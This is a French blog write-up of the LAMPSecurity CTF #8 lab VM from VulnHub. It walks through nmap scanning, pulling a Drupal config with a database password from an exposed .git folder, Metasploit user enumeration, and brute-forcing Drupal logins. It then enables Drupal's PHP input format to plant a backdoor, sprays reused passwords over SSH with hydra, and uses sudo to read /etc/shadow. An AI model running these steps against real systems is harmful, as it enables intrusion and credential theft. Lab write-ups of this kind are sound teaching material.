Accueil Solution du LAMPSecurity CTF #8 de VulnHub
Post
Annuler

Solution du LAMPSecurity CTF #8 de VulnHub

Nitro

Le LAMPSecurity CTF 8 est comme son nom l’indique le 8ième de la série et le dernier que l’on trouve sur VulnHub.

Cet opus a montré quelques points intéressants par rapport aux précédents qui montraient peu d’intérêt (faille include).

Veni

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-17 08:53 CEST
Nmap scan report for 192.168.1.60
Host is up (0.00018s latency).
Not shown: 65509 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0            4096 Jun 05  2013 pub
22/tcp   open  ssh         OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 5e:ca:64:f0:7f:d2:1a:a2:86:c6:1f:c2:2a:b3:6b:27 (DSA)
|_  2048 a3:39:2d:9f:66:96:0d:82:ad:52:1f:a1:dc:b1:f1:54 (RSA)
25/tcp   open  smtp        Symantec Enterprise Security manager smtpd
| smtp-commands: localhost.localdomain Hello [192.168.1.3], --- snip ---
80/tcp   open  http        Apache httpd 2.2.3 ((CentOS))
|_http-favicon: Drupal CMS
| http-git: 
|   192.168.1.60:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: initial commit 
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /sites/ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /install.php /INSTALL.txt /LICENSE.txt 
|_/MAINTAINERS.txt
|_http-title: LAMPSecurity Research
110/tcp  open  pop3        Dovecot pop3d
|_pop3-capabilities: CAPA SASL(PLAIN) TOP STLS UIDL PIPELINING USER RESP-CODES
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1            944/udp  status
|_  100024  1            947/tcp  status
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
143/tcp  open  imap        Dovecot imapd
|_imap-capabilities: SORT IDLE completed LOGIN-REFERRALS --- snip ---
443/tcp  open  ssl/http    Apache httpd 2.2.3 ((CentOS))
| http-git: 
|   192.168.1.60:443/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: initial commit 
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /sites/ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /install.php /INSTALL.txt /LICENSE.txt 
|_/MAINTAINERS.txt
|_http-title: LAMPSecurity Research
| ssl-cert: Subject: commonName=localhost.localdomain --- snip ---
| Not valid before: 2013-05-29T18:38:35+00:00
|_Not valid after:  2014-05-29T18:38:35+00:00
|_ssl-date: 2014-07-17T08:54:37+00:00; +2h00m13s from local time.
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
947/tcp  open  status      1 (RPC #100024)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1            944/udp  status
|_  100024  1            947/tcp  status
993/tcp  open  ssl/imap    Dovecot imapd
|_imap-capabilities: SORT IDLE completed OK --- snip ---
| ssl-cert: Subject: commonName=imap.example.com
| Not valid before: 2013-05-29T18:38:44+00:00
|_Not valid after:  2014-05-29T18:38:44+00:00
|_ssl-date: 2014-07-17T08:54:39+00:00; +2h00m14s from local time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_CBC_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_CBC_128_CBC_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
995/tcp  open  ssl/pop3    Dovecot pop3d
|_pop3-capabilities: CAPA TOP SASL(PLAIN) UIDL PIPELINING USER RESP-CODES
| ssl-cert: Subject: commonName=imap.example.com
| Not valid before: 2013-05-29T18:38:44+00:00
|_Not valid after:  2014-05-29T18:38:44+00:00
|_ssl-date: 2014-07-17T08:54:39+00:00; +2h00m14s from local time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_CBC_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_CBC_128_CBC_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
3306/tcp open  mysql       MySQL (unauthorized)
5801/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5901)
|_http-methods: No Allow or Public header in OPTIONS response (status code 501)
|_http-title: VNC viewer for Java
5802/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5902)
|_http-methods: No Allow or Public header in OPTIONS response (status code 501)
|_http-title: VNC viewer for Java
5803/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5903)
|_http-methods: No Allow or Public header in OPTIONS response (status code 501)
|_http-title: VNC viewer for Java
5804/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5904)
|_http-methods: No Allow or Public header in OPTIONS response (status code 501)
|_http-title: VNC viewer for Java
5901/tcp open  vnc         VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|_    VNC Authentication (2)
5902/tcp open  vnc         VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|_    VNC Authentication (2)
5903/tcp open  vnc         VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|_    VNC Authentication (2)
5904/tcp open  vnc         VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|_    VNC Authentication (2)
6001/tcp open  X11         (access denied)
6002/tcp open  X11         (access denied)
6003/tcp open  X11         (access denied)
6004/tcp open  X11         (access denied)
MAC Address: 00:0C:29:9D:12:A9 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop
Service Info: Host: localhost.localdomain; OS: Unix

Host script results:
|_nbstat: NetBIOS name: LAMPSEC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.33-3.7.el5)
|   Computer name: localhost
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: localhost.localdomain
|_  System time: 2014-07-17T04:54:38-04:00
| smb-security-mode: 
|   Account that was used for smb scripts: guest
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
|_smbv2-enabled: Server doesn't support SMBv2 protocol

Le moins que l’on puisse dire c’est qu’il y a des services qui tournent !

Pour commencer je me suis attaqué au dossier .git présent sur le serveur web.

Avec quelques manipulations trouvées dans cet article il est possible de faire un git checkout et ainsi récupérer les fichiers suivis par Git sur le serveur web.

Le fichier le plus intéressant est le fichier de configuration de Drupal (sites/default/settings.php) dans lequel on trouve :

1
$db_url = 'mysqli://root:JumpUpAndDown@localhost/drupal';

Malheureusement ce mot de passe ne permet pas de passer root (ce serais un peu simple) :

1
2
3
4
5
6
7
$ ssh root@192.168.1.60
Welcome to LAMPSecurity Research SSH access!
#flag#5e937c51b852e1ee90d42ddb5ccb8997

Unauthorized access is expected...
root@192.168.1.60's password: 
Permission denied, please try again.

Remarquez qu’un peu partout on trouve des flags qui devaient sans doute servir à valider des étapes, mais je ne m’y attarderai pas, l’objectif est d’arriver à obtenir l’accès root.

Le serveur MySQL n’autorise malheureusement pas non plus les connexions distantes de l’utilisateur root. Il faut donc fouiner ailleurs.

Sur le ftp publique on trouve un fichier key téléchargeable avec comme contenu #flag#5eb798d41d2e53295d34005f49113fc0.

On peut visualiser la liste des partages SMB mais après impossible d’y accéder en utilisateur anonyme (smbclient retourne une erreur) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ nmblookup -A 192.168.1.60
Looking up status of 192.168.1.60
        LAMPSEC         <00> -         B <ACTIVE> 
        LAMPSEC         <03> -         B <ACTIVE> 
        LAMPSEC         <20> -         B <ACTIVE> 
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> 
        WORKGROUP       <1d> -         B <ACTIVE> 
        WORKGROUP       <1e> - <GROUP> B <ACTIVE> 
        WORKGROUP       <00> - <GROUP> B <ACTIVE>                                                                                                                                                              

        MAC Address = 00-00-00-00-00-00

$ smbclient -L LAMPSEC -N
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.33-3.7.el5]

        Sharename       Type      Comment
        ---------       ----      -------
        IPC$            IPC       IPC Service (Samba Server Version 3.0.33-3.7.el5)
        public          Disk      Public Stuff
        homes           Disk      Home Directories
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.33-3.7.el5]

        Server               Comment
        ---------            -------
        LAMPSEC              Samba Server Version 3.0.33-3.7.el5

        Workgroup            Master
        ---------            -------
        WORKGROUP            LAMPSEC

Vidi

Je suis passé sous Metasploit pour m’intéresser au Drupal installé à la racine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
msf> use auxiliary/scanner/http/drupal_views_user_enum
msf auxiliary(drupal_views_user_enum) > show options

Module options (auxiliary/scanner/http/drupal_views_user_enum):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PATH     /                yes       Drupal Path
   Proxies                   no        Use a proxy chain
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    80               yes       The target port
   THREADS  1                yes       The number of concurrent threads
   VHOST                     no        HTTP server virtual host

msf auxiliary(drupal_views_user_enum) > set RHOSTS 192.168.1.60
RHOSTS => 192.168.1.60
msf auxiliary(drupal_views_user_enum) > exploit

[*] Begin enumerating users at 192.168.1.60
[*] Done. 21 usernames found...
[+] Found User: Anonymous
[+] Found User: admin
[+] Found User: Barbara
[+] Found User: Dan
[+] Found User: Gene
[+] Found User: George
[+] Found User: Harvey
[+] Found User: Jeff
[+] Found User: Jerome
[+] Found User: Jim
[+] Found User: John
[+] Found User: Johnathan
[+] Found User: Juan
[+] Found User: Michael
[+] Found User: Sally
[+] Found User: Sherry
[+] Found User: Stacey
[+] Found User: Steve
[+] Found User: Susan
[+] Found User: Tom
[+] Found User: Xavier
[*] Usernames stored in: /root/.msf4/loot/20140717193155_default_192.168.1.60_drupal_user_101878.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

On obtient une liste d’utilisateur, mais elle n’est pas forcément appropriée pour une attaque brute-force : on dispose des prénoms et non des logins.

Sur la page /profile des liens vers les différents profils avec les adresses emails. Il suffit de récupérer cela en retirant le @localhost.localdomain final.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bdio
dhart
gconnor
gprune
hplink
jgrimes
jstone
jharraway
jgoldman
jalderman
jingersol
mswanson
sloreman
sholden
shunter
spinkton
sswiney
tmaloney
xbruce

À noter que sur le Drupal on peut trouver des articles que l’on ne voit pas normalement, mais qui restent accessibles si on devine l’ID de l’article.

Ainsi sur /comment/reply/28 on trouve #flag#57dbe55b42b307fb4115146d239955d0.

A /phpinfo.php il y a un phpinfo() avec #flag#550e1bafe077ff0b0b67f4e32f29d751.

Tout ça ne nous avance pas vraiment. Finalement j’ai trouvé un article sur le site de MadIrish (ben tiens) où l’on peut trouver un script Python de brute-force de comptes Drupal.

Le script est un peu buggé et peu performant. Je n’ai pas pris la peine de le réécrire, mais vous devriez au moins ajouter deux break sans quoi le script continue de brute-forcer un compte même s’il vient de trouver le mot de passe !

Après avoir testé une petite wordlist pour les mots de passe, j’ai utilisé celle de RockYou que MadIrish semble utiliser pour ses challenges.

1
2
3
4
5
6
$ python drupal_bruterforce.py --target=http://192.168.1.60/ --userlist=users.txt --wordlist=rockyou.txt  --version=6
Please wait, working...
Drupal 6
Cracking ... admin
admin:football123
barbara:passw0rd

Je n’ai pas eu le courage d’aller jusqu’à la fin des utilisateurs. L’important est de disposer du compte admin Drupal.

Finalement le plus dur dans ce challenge aura été de trouver comment placer du *biiip* code PHP dans cette *biiip* de Drupal de *biiip* (*biiip* !).

Donc avis à la populace, il faut d’abord s’assurer que le module “Input formats” est bien activé dans les modules (modules > Filter).

Dans les Input formats, il faut alors s’assurer que PHP code est présent et que son option PHP evaluator est cochée.

Et enfin lors de l’édition d’un contenu (article, etc.) il faut switcher le Input format sur PHP code.

Une backdoor classique permet alors d’accéder au système de fichier.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
--- snip ---
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
jharraway:x:500:504::/home/jharraway:/bin/bash
spinkton:x:501:505::/home/spinkton:/bin/bash
sholden:x:502:506::/home/sholden:/bin/bash
bdio:x:503:507::/home/bdio:/bin/bash
jalderman:x:504:508::/home/jalderman:/bin/bash
gconnor:x:505:509::/home/gconnor:/bin/bash
sswiney:x:506:510::/home/sswiney:/bin/bash
dhart:x:507:511::/home/dhart:/bin/bash
gprune:x:508:512::/home/gprune:/bin/bash
hplink:x:509:513::/home/hplink:/bin/bash
jgrimes:x:510:514::/home/jgrimes:/bin/bash
shunter:x:511:515::/home/shunter:/bin/bash
jingersol:x:512:516::/home/jingersol:/bin/bash
mswanson:x:513:517::/home/mswanson:/bin/bash
jstone:x:514:518::/home/jstone:/bin/bash
jgoldman:x:515:519::/home/jgoldman:/bin/bash
tmaloney:x:516:520::/home/tmaloney:/bin/bash
xbruce:x:517:521::/home/xbruce:/bin/bash
sloreman:x:518:522:#flag#5b650c18929383074fea8870d857dd2e:/home/sloreman:/bin/bash

Vici

Je réutilise les identifiants Drupal pour tenter de trouver un compte Unix :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ./hydra -L users.txt -P passwords.txt ssh://192.168.1.60
Hydra v8.0 (c) 2014 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2014-07-18 18:16:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 38 login tries (l:19/p:2), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.1.60   login: spinkton   password: football123
[STATUS] attack finished for 192.168.1.60 (waiting for children to finish) ...
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-07-18 18:17:17

$ ssh spinkton@192.168.1.60
Welcome to LAMPSecurity Research SSH access!
#flag#5e937c51b852e1ee90d42ddb5ccb8997

Unauthorized access is expected...
spinkton@192.168.1.60's password: 
Last login: Thu Mar 27 12:48:29 2014 from 192.168.56.1
#flag#motd-flag
[spinkton@localhost ~]$

Dans l’historique bash de M. Pinkton on trouve beaucoup de commandes sudo. En fait l’utilisateur peut lancer tout ce qu’il souhaite :

1
2
[spinkton@localhost ~]$ sudo head -1 /etc/shadow
root:$1$.GWA7rU/$lVPNjveio2K8Hpsuk.6N4/:15861:0:99999:7:::

Game over

Published July 22 2014 at 13:25

Cet article est sous licence CC BY 4.0 par l'auteur.